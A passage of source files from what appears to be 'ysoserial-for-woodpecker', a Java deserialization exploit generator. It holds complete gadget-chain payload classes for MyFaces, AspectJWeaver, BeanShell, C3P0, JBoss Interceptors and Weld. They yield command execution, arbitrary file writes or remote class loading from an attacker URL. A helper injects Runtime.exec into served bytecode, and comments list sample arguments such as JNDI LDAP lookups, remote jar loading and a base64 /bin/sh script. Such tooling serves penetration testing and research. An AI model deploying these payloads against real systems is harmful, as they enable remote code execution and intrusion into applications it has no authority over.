| } 46 | 47 | public String getExploitClassName () { 48 | return this.className; 49 | } 50 | 51 | protected byte[] makePayloadClass () { 52 | try { 53 | ClassPool pool = ClassPool.getDefault(); 54 | pool.insertClassPath(new ClassClassPath(Exploit.class)); 55 | final CtClass clazz = pool.get(Exploit.class.getName()); 56 | clazz.setName(this.className); 57 | clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");"); 58 | return clazz.toBytecode(); 59 | } 60 | catch ( Exception e ) { 61 | e.printStackTrace(); 62 | return new byte[0]; 63 | } 64 | } 65 | 66 | static class RemoteClassLoadingTestCallable extends NanoHTTPD implements Callable { 67 | 68 | private Callable innerCallable; 69 | private byte[] data; 70 | private Object waitLock = new Object(); 71 | 72 | 73 | public RemoteClassLoadingTestCallable ( int port, byte[] data, Callable innerCallable ) { 74 | super(port); 75 | this.data = data; 76 | this.innerCallable = innerCallable; 77 | 78 | } 79 | 80 | 81 | public void waitFor() throws InterruptedException { 82 | synchronized ( this.waitLock ) { 83 | this.waitLock.wait(1000); 84 | } 85 | } 86 | 87 | 88 | public Object call () throws Exception { 89 | try { 90 | setup(); 91 | Object res = this.innerCallable.call(); 92 | waitFor(); 93 | Thread.sleep(1000); 94 | return res; 95 | } 96 | finally { 97 | cleanup(); 98 | } 99 | 100 | } 101 | 102 | private void setup () throws IOException { 103 | start(NanoHTTPD.SOCKET_READ_TIMEOUT, false); 104 | } 105 | 106 | 107 | private void cleanup () { 108 | stop(); 109 | } 110 | 111 | 112 | @Override 113 | public Response serve ( IHTTPSession sess ) { 114 | System.out.println("Serving " + sess.getUri()); 115 | Response response = newFixedLengthResponse(Status.OK, "application/octet-stream", new ByteArrayInputStream(data), data.length); 116 | synchronized ( this.waitLock ) { 117 | this.waitLock.notify(); 118 | } 119 | return response; 120 | } 121 | 122 | } 123 | 124 | 125 | 126 | public static class Exploit implements Serializable { 127 | 128 | private static final long serialVersionUID = 1L; 129 | 130 | } 131 | } 132 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/Myfaces1.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | 4 | 5 | import javax.el.ELContext; 6 | import javax.el.ExpressionFactory; 7 | import javax.el.ValueExpression; 8 | import javax.servlet.ServletContext; 9 | import javax.servlet.ServletRequest; 10 | import javax.servlet.ServletResponse; 11 | 12 | import org.apache.myfaces.context.servlet.FacesContextImpl; 13 | import org.apache.myfaces.context.servlet.FacesContextImplBase; 14 | import org.apache.myfaces.el.CompositeELResolver; 15 | import org.apache.myfaces.el.unified.FacesELContext; 16 | import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression; 17 | 18 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 19 | import me.gv7.woodpecker.yso.payloads.annotation.PayloadTest; 20 | import me.gv7.woodpecker.yso.payloads.util.Gadgets; 21 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 22 | import me.gv7.woodpecker.yso.payloads.util.Reflections; 23 | 24 | 25 | /** 26 | * 27 | * ValueExpressionImpl.getValue(ELContext) 28 | * ValueExpressionMethodExpression.getMethodExpression(ELContext) 29 | * ValueExpressionMethodExpression.getMethodExpression() 30 | * ValueExpressionMethodExpression.hashCode() 31 | * HashMap.hash(Object) 32 | * HashMap.readObject(ObjectInputStream) 33 | * 34 | * Arguments: 35 | * - an EL expression to execute 36 | * 37 | * Requires: 38 | * - MyFaces 39 | * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized) 40 | * 41 | * @author mbechler 42 | */ 43 | @PayloadTest(skip="Requires running MyFaces, no direct execution") 44 | @Authors({ Authors.MBECHLER }) 45 | public class Myfaces1 implements ObjectPayload, DynamicDependencies { 46 | 47 | public Object getObject ( String command ) throws Exception { 48 | return makeExpressionPayload(command); 49 | } 50 | 51 | 52 | public static String[] getDependencies () { 53 | if ( System.getProperty("el") == null || "apache".equals(System.getProperty("el")) ) { 54 | return new String[] { 55 | "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", 56 | "org.mortbay.jasper:apache-el:8.0.27", 57 | "javax.servlet:javax.servlet-api:3.1.0", 58 | 59 | // deps for mocking the FacesContext 60 | "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" 61 | }; 62 | } else if ( "juel".equals(System.getProperty("el")) ) { 63 | return new String[] { 64 | "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", 65 | "de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7", 66 | "javax.servlet:javax.servlet-api:3.1.0", 67 | 68 | // deps for mocking the FacesContext 69 | "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" 70 | }; 71 | } 72 | 73 | throw new IllegalArgumentException("Invalid el type " + System.getProperty("el")); 74 | } 75 | 76 | public static Object makeExpressionPayload ( String expr ) throws IllegalArgumentException, IllegalAccessException, Exception { 77 | FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null); 78 | ELContext elContext = new FacesELContext(new CompositeELResolver(), fc); 79 | Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext); 80 | ExpressionFactory expressionFactory = ExpressionFactory.newInstance(); 81 | 82 | ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class); 83 | ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1); 84 | ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class); 85 | ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2); 86 | 87 | return Gadgets.makeMap(e2, e); 88 | } 89 | 90 | 91 | public static void main ( final String[] args ) throws Exception { 92 | PayloadRunner.run(Myfaces1.class, args); 93 | } 94 | } 95 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/AspectJWeaver.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | import me.gv7.woodpecker.yso.payloads.util.Reflections; 4 | import org.apache.commons.codec.binary.Base64; 5 | import org.apache.commons.collections.Transformer; 6 | import org.apache.commons.collections.functors.ConstantTransformer; 7 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 8 | import org.apache.commons.collections.map.LazyMap; 9 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 10 | import me.gv7.woodpecker.yso.payloads.annotation.Dependencies; 11 | import me.gv7.woodpecker.yso.payloads.annotation.PayloadTest; 12 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 13 | 14 | import java.io.Serializable; 15 | import java.lang.reflect.Constructor; 16 | import java.lang.reflect.Field; 17 | import java.util.HashMap; 18 | import java.util.HashSet; 19 | import java.util.Map; 20 | 21 | /* 22 | Gadget chain: 23 | HashSet.readObject() 24 | HashMap.put() 25 | HashMap.hash() 26 | TiedMapEntry.hashCode() 27 | TiedMapEntry.getValue() 28 | LazyMap.get() 29 | SimpleCache$StorableCachingMap.put() 30 | SimpleCache$StorableCachingMap.writeToPath() 31 | FileOutputStream.write() 32 | 33 | Usage: 34 | args = ":" 35 | Example: 36 | java -jar ysoserial.jar AspectJWeaver "ahi.txt:YWhpaGloaQ==" 37 | 38 | More information: 39 | https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5 40 | */ 41 | @PayloadTest(skip="non RCE") 42 | @SuppressWarnings({"rawtypes", "unchecked"}) 43 | @Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"}) 44 | @Authors({ Authors.JANG }) 45 | 46 | public class AspectJWeaver implements ObjectPayload { 47 | 48 | public Serializable getObject(final String command) throws Exception { 49 | int sep = command.lastIndexOf(';'); 50 | if ( sep < 0 ) { 51 | throw new IllegalArgumentException("Command format is: ;"); 52 | } 53 | String[] parts = command.split(";"); 54 | String filename = parts[0]; 55 | byte[] content = Base64.decodeBase64(parts[1]); 56 | 57 | Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); 58 | Object simpleCache = ctor.newInstance(".", 12); 59 | Transformer ct = new ConstantTransformer(content); 60 | Map lazyMap = LazyMap.decorate((Map)simpleCache, ct); 61 | TiedMapEntry entry = new TiedMapEntry(lazyMap, filename); 62 | HashSet map = new HashSet(1); 63 | map.add("foo"); 64 | Field f = null; 65 | try { 66 | f = HashSet.class.getDeclaredField("map"); 67 | } catch (NoSuchFieldException e) { 68 | f = HashSet.class.getDeclaredField("backingMap"); 69 | } 70 | 71 | Reflections.setAccessible(f); 72 | HashMap innimpl = (HashMap) f.get(map); 73 | 74 | Field f2 = null; 75 | try { 76 | f2 = HashMap.class.getDeclaredField("table"); 77 | } catch (NoSuchFieldException e) { 78 | f2 = HashMap.class.getDeclaredField("elementData"); 79 | } 80 | 81 | Reflections.setAccessible(f2); 82 | Object[] array = (Object[]) f2.get(innimpl); 83 | 84 | Object node = array[0]; 85 | if(node == null){ 86 | node = array[1]; 87 | } 88 | 89 | Field keyField = null; 90 | try{ 91 | keyField = node.getClass().getDeclaredField("key"); 92 | }catch(Exception e){ 93 | keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); 94 | } 95 | 96 | Reflections.setAccessible(keyField); 97 | keyField.set(node, entry); 98 | 99 | return map; 100 | 101 | } 102 | 103 | public static void main(String[] args) throws Exception { 104 | args = new String[]{"ahi.txt;YWhpaGloaQ=="}; 105 | PayloadRunner.run(AspectJWeaver.class, args); 106 | } 107 | } 108 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/BeanShell1.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | import bsh.Interpreter; 4 | import bsh.NameSpace; 5 | 6 | import java.lang.reflect.Constructor; 7 | import java.lang.reflect.InvocationHandler; 8 | import java.lang.reflect.Method; 9 | import java.lang.reflect.Proxy; 10 | import java.util.Comparator; 11 | import java.util.PriorityQueue; 12 | 13 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 14 | import me.gv7.woodpecker.yso.payloads.annotation.Dependencies; 15 | import me.gv7.woodpecker.yso.payloads.custom.BeanShellUtil; 16 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 17 | import me.gv7.woodpecker.yso.payloads.util.Reflections; 18 | 19 | /** 20 | * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) 21 | */ 22 | 23 | @SuppressWarnings({ "rawtypes", "unchecked" }) 24 | @Dependencies({ "org.beanshell:bsh:2.0b5" }) 25 | @Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711}) 26 | public class BeanShell1 extends PayloadRunner implements ObjectPayload { 27 | 28 | public PriorityQueue getObject(String command) throws Exception { 29 | // BeanShell payload 30 | String payload = BeanShellUtil.getPayload(command); 31 | 32 | // Create Interpreter 33 | Interpreter i = new Interpreter(); 34 | /***** 覆盖bsh.cwd,清空user.dir,防止信息泄露 *****/ 35 | Method setu = i.getClass().getDeclaredMethod("setu",new Class[]{String.class,Object.class}); 36 | setu.setAccessible(true); 37 | setu.invoke(i,new Object[]{"bsh.cwd","."}); 38 | /*************************/ 39 | 40 | // Evaluate payload 41 | i.eval(payload); 42 | 43 | // Create InvocationHandler 44 | Class clsXThis = Class.forName("bsh.XThis"); 45 | Constructor cXThis = clsXThis.getDeclaredConstructor(new Class[]{NameSpace.class,Interpreter.class}); 46 | cXThis.setAccessible(true); 47 | Object xt = cXThis.newInstance(new Object[]{i.getNameSpace(),i}); 48 | //XThis xt = new XThis(i.getNameSpace(), i); 49 | InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt); 50 | 51 | // Create Comparator Proxy 52 | Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); 53 | 54 | // Prepare Trigger Gadget (will call Comparator.compare() during deserialization) 55 | final PriorityQueue priorityQueue = new PriorityQueue(2, comparator); 56 | Object[] queue = new Object[] {1,1}; 57 | Reflections.setFieldValue(priorityQueue, "queue", queue); 58 | Reflections.setFieldValue(priorityQueue, "size", 2); 59 | 60 | return priorityQueue; 61 | } 62 | 63 | public static void main(String[] args) throws Exception { 64 | //args = new String[]{"raw_cmd:open /System/Applications/Calculator.app"}; 65 | //args = new String[]{"sleep:10"}; 66 | //args = new String[]{"jndi:ldap://127.0.0.1:1664/obj"}; 67 | //args = new String[]{"loadjar:file:///Users/c0ny1/Documents/codebak/ysoserial-for-woodpecker/src/test/java/Calc.jar|Calc"}; 68 | //args = new String[]{"loadjar_with_args:file:///Users/c0ny1/Documents/codebak/ysoserial-for-woodpecker/src/test/java/Calc.jar|Calc|open /System/Applications/Calculator.app/Contents/MacOS/Calculator"}; 69 | //args = new String[]{"upload_file:/Users/c0ny1/Documents/codebak/ysoserial-for-woodpecker/src/test/java/testfile/JavaScriptTest.js|/tmp/JavaScriptTest2.js"}; 70 | //args = new String[]{"script_file:/Users/c0ny1/Documents/codebak/ysoserial-for-woodpecker/src/test/java/testfile/JavaScriptTest.js"}; 71 | //args = new String[]{"script_base64:bmV3IGphdmEubGFuZy5Qcm9jZXNzQnVpbGRlclsnKGphdmEubGFuZy5TdHJpbmdbXSknXShbJy9iaW4vc2gnLCctYycsJ29wZW4gL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAvQ29udGVudHMvTWFjT1MvQ2FsY3VsYXRvciddKS5zdGFydCgp"}; 72 | //args = new String[]{"upload_file_base64:/tmp/a.txt|YzBueTE="}; 73 | PayloadRunner.run(BeanShell1.class, args); 74 | // String command = "raw_cmd:id"; 75 | // Object cc6 = new BeanShell1().getObject(command); 76 | // ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("beanshell.1.3.0.ser")); 77 | // oos.writeObject(cc6); 78 | // oos.flush(); 79 | 80 | // ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("beanshell.1.3.0.ser")); 81 | // objectInputStream.readObject(); 82 | } 83 | } 84 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/C3P0_LowVer.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | 4 | import javassist.ClassClassPath; 5 | import javassist.ClassPool; 6 | import javassist.CtClass; 7 | import javassist.CtField; 8 | import me.gv7.woodpecker.yso.JavassistClassLoader; 9 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 10 | import me.gv7.woodpecker.yso.payloads.annotation.Dependencies; 11 | import me.gv7.woodpecker.yso.payloads.annotation.PayloadTest; 12 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 13 | import me.gv7.woodpecker.yso.payloads.util.Reflections; 14 | 15 | import javax.naming.NamingException; 16 | import javax.naming.Reference; 17 | import javax.naming.Referenceable; 18 | import javax.sql.ConnectionPoolDataSource; 19 | import javax.sql.PooledConnection; 20 | import java.io.PrintWriter; 21 | import java.sql.SQLException; 22 | import java.sql.SQLFeatureNotSupportedException; 23 | import java.util.logging.Logger; 24 | 25 | 26 | /** 27 | * 28 | * 29 | * com.sun.jndi.rmi.registry.RegistryContext->lookup 30 | * com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject 31 | * com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject 32 | * 33 | * Arguments: 34 | * - base_url:classname 35 | * 36 | * Yields: 37 | * - Instantiation of remotely loaded class 38 | * 39 | * @author mbechler 40 | * 41 | */ 42 | @PayloadTest ( harness="ysoserial.test.payloads.RemoteClassLoadingTest" ) 43 | @Dependencies( { "com.mchange:c3p0:0.9.2-pre2-RELEASE ~ 0.9.5-pre8" ,"com.mchange:mchange-commons-java:0.2.11"} ) 44 | @Authors({ Authors.MBECHLER,Authors.C0NY1 }) 45 | public class C3P0_LowVer implements ObjectPayload { 46 | public Object getObject ( String command ) throws Exception { 47 | int sep = command.lastIndexOf(':'); 48 | if ( sep < 0 ) { 49 | throw new IllegalArgumentException("Command format is: :"); 50 | } 51 | 52 | String url = command.substring(0, sep); 53 | String className = command.substring(sep + 1); 54 | // 修改com.mchange.v2.c3p0.PoolBackedDataSource serialVerisonUID 55 | ClassPool pool = new ClassPool(); 56 | pool.insertClassPath(new ClassClassPath(Class.forName("com.mchange.v2.c3p0.PoolBackedDataSource"))); 57 | final CtClass ctPoolBackedDataSource = pool.get("com.mchange.v2.c3p0.PoolBackedDataSource"); 58 | 59 | try { 60 | CtField ctSUID = ctPoolBackedDataSource.getDeclaredField("serialVersionUID"); 61 | ctPoolBackedDataSource.removeField(ctSUID); 62 | }catch (javassist.NotFoundException e){} 63 | ctPoolBackedDataSource.addField(CtField.make("private static final long serialVersionUID = 7387108436934414104L;", ctPoolBackedDataSource)); 64 | 65 | // mock method name until armed 66 | final Class clsPoolBackedDataSource = ctPoolBackedDataSource.toClass(new JavassistClassLoader()); 67 | 68 | Object b = Reflections.createWithoutConstructor(clsPoolBackedDataSource); 69 | Reflections.getField(clsPoolBackedDataSource, "connectionPoolDataSource").set(b, new PoolSource(className, url)); 70 | return b; 71 | } 72 | 73 | 74 | private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { 75 | 76 | private String className; 77 | private String url; 78 | 79 | public PoolSource ( String className, String url ) { 80 | this.className = className; 81 | this.url = url; 82 | } 83 | 84 | public Reference getReference () throws NamingException { 85 | return new Reference("exploit", this.className, this.url); 86 | } 87 | 88 | public PrintWriter getLogWriter () throws SQLException {return null;} 89 | public void setLogWriter ( PrintWriter out ) throws SQLException {} 90 | public void setLoginTimeout ( int seconds ) throws SQLException {} 91 | public int getLoginTimeout () throws SQLException {return 0;} 92 | public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;} 93 | public PooledConnection getPooledConnection () throws SQLException {return null;} 94 | public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;} 95 | } 96 | 97 | 98 | public static void main ( final String[] args ) throws Exception { 99 | PayloadRunner.run(C3P0_LowVer.class, args); 100 | } 101 | 102 | } 103 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/JBossInterceptors1.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 4 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 5 | import me.gv7.woodpecker.yso.payloads.annotation.Dependencies; 6 | import me.gv7.woodpecker.yso.payloads.annotation.PayloadTest; 7 | import me.gv7.woodpecker.yso.payloads.util.Gadgets; 8 | import me.gv7.woodpecker.yso.payloads.util.JavaVersion; 9 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 10 | import me.gv7.woodpecker.yso.payloads.util.Reflections; 11 | import org.jboss.interceptor.builder.InterceptionModelBuilder; 12 | import org.jboss.interceptor.builder.MethodReference; 13 | import org.jboss.interceptor.proxy.DefaultInvocationContextFactory; 14 | import org.jboss.interceptor.proxy.InterceptorMethodHandler; 15 | import org.jboss.interceptor.reader.ClassMetadataInterceptorReference; 16 | import org.jboss.interceptor.reader.DefaultMethodMetadata; 17 | import org.jboss.interceptor.reader.ReflectiveClassMetadata; 18 | import org.jboss.interceptor.reader.SimpleInterceptorMetadata; 19 | import org.jboss.interceptor.spi.instance.InterceptorInstantiator; 20 | import org.jboss.interceptor.spi.metadata.InterceptorReference; 21 | import org.jboss.interceptor.spi.metadata.MethodMetadata; 22 | import org.jboss.interceptor.spi.model.InterceptionModel; 23 | import org.jboss.interceptor.spi.model.InterceptionType; 24 | 25 | import java.lang.reflect.Constructor; 26 | import java.util.*; 27 | 28 | /* 29 | by @matthias_kaiser 30 | */ 31 | @SuppressWarnings({"rawtypes", "unchecked"}) 32 | @PayloadTest(precondition = "isApplicableJavaVersion") 33 | @Dependencies({ "javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final", 34 | "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1", 35 | "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" }) 36 | @Authors({ Authors.MATTHIASKAISER }) 37 | public class JBossInterceptors1 implements ObjectPayload { 38 | public static boolean isApplicableJavaVersion() { 39 | return JavaVersion.isAtLeast(7); 40 | } 41 | 42 | public Object getObject(final String command) throws Exception { 43 | 44 | final Object gadget = Gadgets.createTemplatesImpl(command); 45 | 46 | InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); 47 | ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); 48 | InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); 49 | 50 | Set s = new HashSet(); 51 | s.add(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE); 52 | 53 | Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class); 54 | Reflections.setAccessible(defaultMethodMetadataConstructor); 55 | MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, 56 | MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true)); 57 | 58 | List list = new ArrayList(); 59 | list.add(methodMetadata); 60 | Map> hashMap = new HashMap>(); 61 | 62 | hashMap.put(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list); 63 | SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap); 64 | 65 | builder.interceptAll().with(simpleInterceptorMetadata); 66 | 67 | InterceptionModel model = builder.build(); 68 | 69 | HashMap map = new HashMap(); 70 | map.put("ysoserial", "ysoserial"); 71 | 72 | DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory(); 73 | 74 | InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() { 75 | 76 | public Object createFor(InterceptorReference paramInterceptorReference) { 77 | 78 | return gadget; 79 | } 80 | }; 81 | 82 | return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory); 83 | 84 | } 85 | 86 | 87 | public static void main(final String[] args) throws Exception { 88 | PayloadRunner.run(JBossInterceptors1.class, args); 89 | } 90 | } 91 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/JavassistWeld1.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 4 | import me.gv7.woodpecker.yso.payloads.util.Gadgets; 5 | import me.gv7.woodpecker.yso.payloads.util.JavaVersion; 6 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 7 | import me.gv7.woodpecker.yso.payloads.util.Reflections; 8 | import org.jboss.weld.interceptor.builder.InterceptionModelBuilder; 9 | import org.jboss.weld.interceptor.builder.MethodReference; 10 | import org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory; 11 | import org.jboss.weld.interceptor.proxy.InterceptorMethodHandler; 12 | import org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference; 13 | import org.jboss.weld.interceptor.reader.DefaultMethodMetadata; 14 | import org.jboss.weld.interceptor.reader.ReflectiveClassMetadata; 15 | import org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata; 16 | import org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator; 17 | import org.jboss.weld.interceptor.spi.metadata.InterceptorReference; 18 | import org.jboss.weld.interceptor.spi.metadata.MethodMetadata; 19 | import org.jboss.weld.interceptor.spi.model.InterceptionModel; 20 | import org.jboss.weld.interceptor.spi.model.InterceptionType; 21 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 22 | import me.gv7.woodpecker.yso.payloads.annotation.Dependencies; 23 | import me.gv7.woodpecker.yso.payloads.annotation.PayloadTest; 24 | 25 | import java.lang.reflect.Constructor; 26 | import java.util.*; 27 | 28 | /* 29 | by @matthias_kaiser 30 | */ 31 | @SuppressWarnings({"rawtypes", "unchecked"}) 32 | @PayloadTest(precondition = "isApplicableJavaVersion") 33 | @Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final", 34 | "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1", 35 | "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" }) 36 | @Authors({ Authors.MATTHIASKAISER }) 37 | public class JavassistWeld1 implements ObjectPayload { 38 | public static boolean isApplicableJavaVersion() { 39 | return JavaVersion.isAtLeast(7); 40 | } 41 | 42 | public Object getObject(final String command) throws Exception { 43 | 44 | final Object gadget = Gadgets.createTemplatesImpl(command); 45 | 46 | InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); 47 | ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); 48 | InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); 49 | 50 | Set s = new HashSet(); 51 | s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE); 52 | 53 | Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class); 54 | Reflections.setAccessible(defaultMethodMetadataConstructor); 55 | MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, 56 | MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true)); 57 | 58 | List list = new ArrayList(); 59 | list.add(methodMetadata); 60 | Map> hashMap = new HashMap>(); 61 | 62 | hashMap.put(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list); 63 | SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap); 64 | 65 | builder.interceptAll().with(simpleInterceptorMetadata); 66 | 67 | InterceptionModel model = builder.build(); 68 | 69 | HashMap map = new HashMap(); 70 | map.put("ysoserial", "ysoserial"); 71 | 72 | DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory(); 73 | 74 | InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() { 75 | 76 | public Object createFor(InterceptorReference paramInterceptorReference) { 77 | 78 | return gadget; 79 | } 80 | }; 81 | 82 | return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory); 83 | 84 | } 85 | 86 | 87 | public static void main(final String[] args) throws Exception { 88 | PayloadRunner.run(JavassistWeld1.class, args); 89 | } 90 | } 91 | --------------------------------------------------------------------------------